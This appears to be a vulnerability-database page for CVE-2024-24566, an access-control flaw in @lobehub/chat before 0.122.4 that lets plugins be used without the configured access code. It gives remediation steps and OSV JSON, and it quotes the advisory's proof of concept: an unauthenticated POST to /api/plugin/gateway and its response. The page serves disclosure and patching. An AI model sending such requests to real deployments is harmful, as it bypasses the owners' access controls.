CVE-2024-24566: @lobehub/chat @lobehub/chat Vulnerable To Unauthorized Access Vulnerability

MODERATE
Advisory Identifier: GHSA-pf55-fj96-xf37
CVSS 5.3
CWE-284
Published
Advisory Summary

CVE-2024-24566 is a MODERATE (CVSS 5.3) @lobehub/chat vulnerable to unauthorized access vulnerability (CWE-284: Improper Access Control) affecting @lobehub/chat libraries in the npm ecosystem. The issue involves @lobehub/chat vulnerable to unauthorized access to plugins. Remediation is available by upgrading affected packages to version 0.122.4.

CVE-2024-24566 at a Glance

CVE Identifier CVE-2024-24566
GHSA Identifier GHSA-pf55-fj96-xf37
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-284: Improper Access Control
Affected Product @lobehub/chat
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2024-24566

To remediate this vulnerability, upgrade all affected @lobehub/chat dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@lobehub/chat fixed: 0.122.4
npm install @lobehub/chat@0.122.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @lobehub/chat

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-24566, inspect your project dependencies using npm:

npm ls @lobehub/chat

Analyze the terminal output to locate any version of @lobehub/chat in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.122.4), your application is affected.

Note: The npm ls @lobehub/chat command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In @lobehub/chat, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description: When the application is password-protected (deployed with the `ACCESS_CODE` option), it is possible to access plugins without proper authorization (without password). ### Proof-of-Concept: Let’s suppose that application has been deployed with following command: ```sudo docker run -d -p 3210:3210 -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123 --name lobe-chat lobehub/lobe-chat``` Due to the utilization of the `ACCESS_CODE`, access to the chat is possible only after entering the password: ![image](https://raw.githubusercontent.com/dastaj/assets/main/others/image.png) However, it is possible to interact with chat plugins without entering the `ACCESS_CODE`. Example HTTP request: ``` POST /api/plugin/gateway HTTP/1.1 Host: localhost:3210 Content-Length: 1276 {"apiName":"checkWeatherUsingGET","arguments":"{\n \"location\": \"London\"\n}","identifier":"WeatherGPT","type":"default","manifest":{"api":[{"description":"Get current weather information","name":"checkWeatherUsingGET","parameters":{"properties":{"location":{"type":"string"}},"required":["location"],"type":"object"}}],"homepage":"https://weathergpt.vercel.app/legal","identifier":"WeatherGPT","meta":{"avatar":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp","description":"Get current weather information for a specific location.","title":"WeatherGPT"},"openapi":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json","systemRole":"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.","type":"default","version":"1","settings":{"properties":{},"type":"object"}}} ``` HTTP response: ``` HTTP/1.1 200 OK [...] {"location":{"name":"London","region":"City of London, Greater London","country":"United Kingdom","lat":51.52,"lon":-0.11,"tz_id":"Europe/London","localtime_epoch":1706379026,"localtime":"2024-01-27 18:10"},"current":{"last_updated_epoch":1706378400,"last_updated":"2024-01-27 18:00","temp_c":6,"temp_f":42.8,"is_day":0,"condition":{"text":"Clear","icon":"//cdn.weatherapi.com/weather/64x64/night/113.png","code":1000},"wind_mph":4.3,"wind_kph":6.8,"wind_degree":170,"wind_dir":"S","pressure_mb":1031,"pressure_in":30.45,"precip_mm":0,"precip_in":0,"humidity":81,"cloud":0,"feelslike_c":3.8,"feelslike_f":38.9,"vis_km":10,"vis_miles":6,"uv":1,"gust_mph":9.5,"gust_kph":15.3},"infoLink":"https://weathergpt.vercel.app/London"} ``` ### Remediation: Verify the `ACCESS_CODE` for HTTP requests to the `/api/plugin/:` route. ### Impact: Unauthorized access to plugins.

CVE-2024-24566 Affected @lobehub/chat Versions

1 component(s)
Fixed Versions:
0.122.4
Product / Package Ecosystem Affected Versions Fixed Version
@lobehub/chat
npm
< 0.122.4
0.122.4

References

Frequently Asked Questions

What is CVE-2024-24566?
CVE-2024-24566 is a security vulnerability in @lobehub/chat involving @lobehub/chat vulnerable to unauthorized access to plugins under CWE-284: Improper Access Control.
Which @lobehub/chat versions are affected?
Affected versions include releases prior to 0.122.4 across affected packages: @lobehub/chat.
What version fixes CVE-2024-24566?
Upgrading to 0.122.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @lobehub/chat affected?
Yes, @lobehub/chat is affected in releases prior to 0.122.4. Upgrade your dependency to 0.122.4 or later.
What is the CVSS score of CVE-2024-24566?
CVE-2024-24566 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2024-24566?
CVE-2024-24566 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check npm dependencies for CVE-2024-24566?
Run the dependency tree command: 'npm ls @lobehub/chat'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pf55-fj96-xf37",
  "modified" : "2024-01-31T20:25:37Z",
  "published" : "2024-01-31T18:04:55Z",
  "aliases" : [ "CVE-2024-24566" ],
  "summary" : "@lobehub/chat vulnerable to unauthorized access to plugins",
  "details" : "###\tDescription:\nWhen the application is password-protected (deployed with the `ACCESS_CODE` option), it is possible to access plugins without proper authorization (without password).\n###\tProof-of-Concept:\nLet’s suppose that application has been deployed with following command:\n```sudo docker run -d -p 3210:3210   -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123   --name lobe-chat   lobehub/lobe-chat```\nDue to the utilization of the `ACCESS_CODE`,  access to the chat is possible only after entering the password:\n \n![image](https://raw.githubusercontent.com/dastaj/assets/main/others/image.png)\n\n\nHowever, it is possible to interact with chat plugins without entering the `ACCESS_CODE`. \nExample HTTP request:\n```\nPOST /api/plugin/gateway HTTP/1.1\nHost: localhost:3210\nContent-Length: 1276\n\n{\"apiName\":\"checkWeatherUsingGET\",\"arguments\":\"{\\n  \\\"location\\\": \\\"London\\\"\\n}\",\"identifier\":\"WeatherGPT\",\"type\":\"default\",\"manifest\":{\"api\":[{\"description\":\"Get current weather information\",\"name\":\"checkWeatherUsingGET\",\"parameters\":{\"properties\":{\"location\":{\"type\":\"string\"}},\"required\":[\"location\"],\"type\":\"object\"}}],\"homepage\":\"https://weathergpt.vercel.app/legal\",\"identifier\":\"WeatherGPT\",\"meta\":{\"avatar\":\"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp\",\"description\":\"Get current weather information for a specific location.\",\"title\":\"WeatherGPT\"},\"openapi\":\"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json\",\"systemRole\":\"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.\",\"type\":\"default\",\"version\":\"1\",\"settings\":{\"properties\":{},\"type\":\"object\"}}}\n```\nHTTP response:\n```\nHTTP/1.1 200 OK\n[...]\n{\"location\":{\"name\":\"London\",\"region\":\"City of London, Greater London\",\"country\":\"United Kingdom\",\"lat\":51.52,\"lon\":-0.11,\"tz_id\":\"Europe/London\",\"localtime_epoch\":1706379026,\"localtime\":\"2024-01-27 18:10\"},\"current\":{\"last_updated_epoch\":1706378400,\"last_updated\":\"2024-01-27 18:00\",\"temp_c\":6,\"temp_f\":42.8,\"is_day\":0,\"condition\":{\"text\":\"Clear\",\"icon\":\"//cdn.weatherapi.com/weather/64x64/night/113.png\",\"code\":1000},\"wind_mph\":4.3,\"wind_kph\":6.8,\"wind_degree\":170,\"wind_dir\":\"S\",\"pressure_mb\":1031,\"pressure_in\":30.45,\"precip_mm\":0,\"precip_in\":0,\"humidity\":81,\"cloud\":0,\"feelslike_c\":3.8,\"feelslike_f\":38.9,\"vis_km\":10,\"vis_miles\":6,\"uv\":1,\"gust_mph\":9.5,\"gust_kph\":15.3},\"infoLink\":\"https://weathergpt.vercel.app/London\"}\n```\n###\tRemediation:\nVerify the `ACCESS_CODE` for HTTP requests to the `/api/plugin/:` route.\n\n###\tImpact:\nUnauthorized access to plugins.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@lobehub/chat"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.122.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.122.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-pf55-fj96-xf37"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-24566"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/commit/2184167f09ab68e4efa051ee984ea0c4e7c48fbd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lobehub/lobe-chat"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-31T18:04:55Z",
    "nvd_published_at" : "2024-01-31T17:15:39Z"
  }
}